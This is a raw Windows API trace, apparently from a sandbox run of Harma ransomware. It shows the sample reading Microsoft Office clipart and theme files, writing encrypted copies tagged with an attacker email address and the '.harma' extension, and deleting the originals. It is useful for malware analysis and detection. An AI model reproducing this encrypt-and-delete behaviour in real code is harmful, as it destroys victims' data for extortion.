[0143.339] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.339] SetEndOfFile (hFile=0x338) returned 1 [0143.341] CloseHandle (hObject=0x338) returned 1 [0143.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0143.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.342] lstrlenW (lpString=".doc") returned 4 [0143.342] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.342] lstrlenW (lpString=".docx") returned 5 [0143.342] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.342] lstrlenW (lpString=".pdf") returned 4 [0143.342] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.342] lstrlenW (lpString=".xls") returned 4 [0143.342] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.342] lstrlenW (lpString=".xlsx") returned 5 [0143.342] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.342] lstrlenW (lpString=".ppt") returned 4 [0143.342] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.343] lstrlenW (lpString=".zip") returned 4 [0143.343] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.343] lstrlenW (lpString=".rar") returned 4 [0143.343] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.343] lstrlenW (lpString=".bz2") returned 4 [0143.343] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.343] lstrlenW (lpString=".7z") returned 3 [0143.343] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.343] lstrlenW (lpString=".dbf") returned 4 [0143.343] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.343] lstrlenW (lpString=".1cd") returned 4 [0143.343] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.343] lstrlenW (lpString=".jpg") returned 4 [0143.343] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.343] lstrlenW (lpString=".doc") returned 4 [0143.343] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.343] lstrlenW (lpString=".docx") returned 5 [0143.343] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.343] lstrlenW (lpString=".pdf") returned 4 [0143.343] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.343] lstrlenW (lpString=".xls") returned 4 [0143.343] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.343] lstrlenW (lpString=".xlsx") returned 5 [0143.343] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.343] lstrlenW (lpString=".ppt") returned 4 [0143.343] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.344] lstrlenW (lpString=".zip") returned 4 [0143.344] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.344] lstrlenW (lpString=".rar") returned 4 [0143.344] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.344] lstrlenW (lpString=".bz2") returned 4 [0143.344] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.344] lstrlenW (lpString=".7z") returned 3 [0143.344] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.344] lstrlenW (lpString=".dbf") returned 4 [0143.344] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.344] lstrlenW (lpString=".1cd") returned 4 [0143.344] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0143.344] lstrlenW (lpString=".jpg") returned 4 [0143.344] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.344] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.344] lstrlenW (lpString="SUMER_01.MID") returned 12 [0143.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.345] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=14044) returned 1 [0143.345] CloseHandle (hObject=0x338) returned 1 [0143.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0143.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.345] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.345] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0143.346] GetLastError () returned 0x0 [0143.346] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x36dc, lpOverlapped=0x0) returned 1 [0143.348] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x36e0, lpOverlapped=0x0) returned 1 [0143.349] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.349] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.349] SetEndOfFile (hFile=0x364) returned 1 [0143.349] CloseHandle (hObject=0x364) returned 1 [0143.350] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.350] SetEndOfFile (hFile=0x338) returned 1 [0143.352] CloseHandle (hObject=0x338) returned 1 [0143.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.353] lstrlenW (lpString=".doc") returned 4 [0143.353] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.353] lstrlenW (lpString=".docx") returned 5 [0143.353] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.353] lstrlenW (lpString=".pdf") returned 4 [0143.353] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.353] lstrlenW (lpString=".xls") returned 4 [0143.353] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.353] lstrlenW (lpString=".xlsx") returned 5 [0143.353] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.353] lstrlenW (lpString=".ppt") returned 4 [0143.353] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.353] lstrlenW (lpString=".zip") returned 4 [0143.353] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.353] lstrlenW (lpString=".rar") returned 4 [0143.353] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.353] lstrlenW (lpString=".bz2") returned 4 [0143.353] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.353] lstrlenW (lpString=".7z") returned 3 [0143.354] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.354] lstrlenW (lpString=".dbf") returned 4 [0143.354] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.354] lstrlenW (lpString=".1cd") returned 4 [0143.354] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.354] lstrlenW (lpString=".jpg") returned 4 [0143.354] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.354] lstrlenW (lpString=".doc") returned 4 [0143.354] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.354] lstrlenW (lpString=".docx") returned 5 [0143.354] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.354] lstrlenW (lpString=".pdf") returned 4 [0143.354] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.354] lstrlenW (lpString=".xls") returned 4 [0143.354] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.354] lstrlenW (lpString=".xlsx") returned 5 [0143.354] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.354] lstrlenW (lpString=".ppt") returned 4 [0143.354] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.354] lstrlenW (lpString=".zip") returned 4 [0143.354] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.354] lstrlenW (lpString=".rar") returned 4 [0143.354] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.354] lstrlenW (lpString=".bz2") returned 4 [0143.355] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.355] lstrlenW (lpString=".7z") returned 3 [0143.355] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.355] lstrlenW (lpString=".dbf") returned 4 [0143.355] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.355] lstrlenW (lpString=".1cd") returned 4 [0143.355] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0143.355] lstrlenW (lpString=".jpg") returned 4 [0143.355] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.355] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.355] lstrlenW (lpString="SWEST_01.MID") returned 12 [0143.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.356] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=8501) returned 1 [0143.356] CloseHandle (hObject=0x338) returned 1 [0143.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0143.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.356] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.356] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0143.357] GetLastError () returned 0x0 [0143.357] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x2135, lpOverlapped=0x0) returned 1 [0143.531] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x2140, lpOverlapped=0x0) returned 1 [0143.532] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.532] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.532] SetEndOfFile (hFile=0x364) returned 1 [0143.546] CloseHandle (hObject=0x364) returned 1 [0143.546] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.546] SetEndOfFile (hFile=0x338) returned 1 [0143.551] CloseHandle (hObject=0x338) returned 1 [0143.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0143.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.552] lstrlenW (lpString=".doc") returned 4 [0143.552] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.552] lstrlenW (lpString=".docx") returned 5 [0143.552] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.553] lstrlenW (lpString=".pdf") returned 4 [0143.553] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.553] lstrlenW (lpString=".xls") returned 4 [0143.553] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.553] lstrlenW (lpString=".xlsx") returned 5 [0143.553] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.553] lstrlenW (lpString=".ppt") returned 4 [0143.553] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.553] lstrlenW (lpString=".zip") returned 4 [0143.553] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.553] lstrlenW (lpString=".rar") returned 4 [0143.553] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.553] lstrlenW (lpString=".bz2") returned 4 [0143.553] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.553] lstrlenW (lpString=".7z") returned 3 [0143.553] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.553] lstrlenW (lpString=".dbf") returned 4 [0143.553] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.553] lstrlenW (lpString=".1cd") returned 4 [0143.553] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.553] lstrlenW (lpString=".jpg") returned 4 [0143.553] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.554] lstrlenW (lpString=".doc") returned 4 [0143.554] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.554] lstrlenW (lpString=".docx") returned 5 [0143.554] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.554] lstrlenW (lpString=".pdf") returned 4 [0143.554] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.554] lstrlenW (lpString=".xls") returned 4 [0143.554] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.554] lstrlenW (lpString=".xlsx") returned 5 [0143.554] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.554] lstrlenW (lpString=".ppt") returned 4 [0143.554] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.554] lstrlenW (lpString=".zip") returned 4 [0143.554] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.554] lstrlenW (lpString=".rar") returned 4 [0143.554] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.554] lstrlenW (lpString=".bz2") returned 4 [0143.554] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.554] lstrlenW (lpString=".7z") returned 3 [0143.554] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.554] lstrlenW (lpString=".dbf") returned 4 [0143.554] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.554] lstrlenW (lpString=".1cd") returned 4 [0143.554] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0143.554] lstrlenW (lpString=".jpg") returned 4 [0143.554] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.555] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0143.555] lstrlenW (lpString="Angles.eftx") returned 11 [0143.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.556] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=27365) returned 1 [0143.557] CloseHandle (hObject=0x338) returned 1 [0143.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0143.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.557] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.557] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0144.155] GetLastError () returned 0x0 [0144.158] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0144.197] WriteFile (in: hFile=0x35c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x6af0, lpOverlapped=0x0) returned 1 [0144.198] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.198] WriteFile (in: hFile=0x35c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0144.198] SetEndOfFile (hFile=0x35c) returned 1 [0144.199] CloseHandle (hObject=0x35c) returned 1 [0144.199] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.199] SetEndOfFile (hFile=0x338) returned 1 [0144.201] CloseHandle (hObject=0x338) returned 1 [0144.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1 [0144.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0144.609] lstrlenW (lpString=".doc") returned 4 [0144.609] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.609] lstrlenW (lpString=".docx") returned 5 [0144.609] lstrcmpiW (lpString1=".docx", 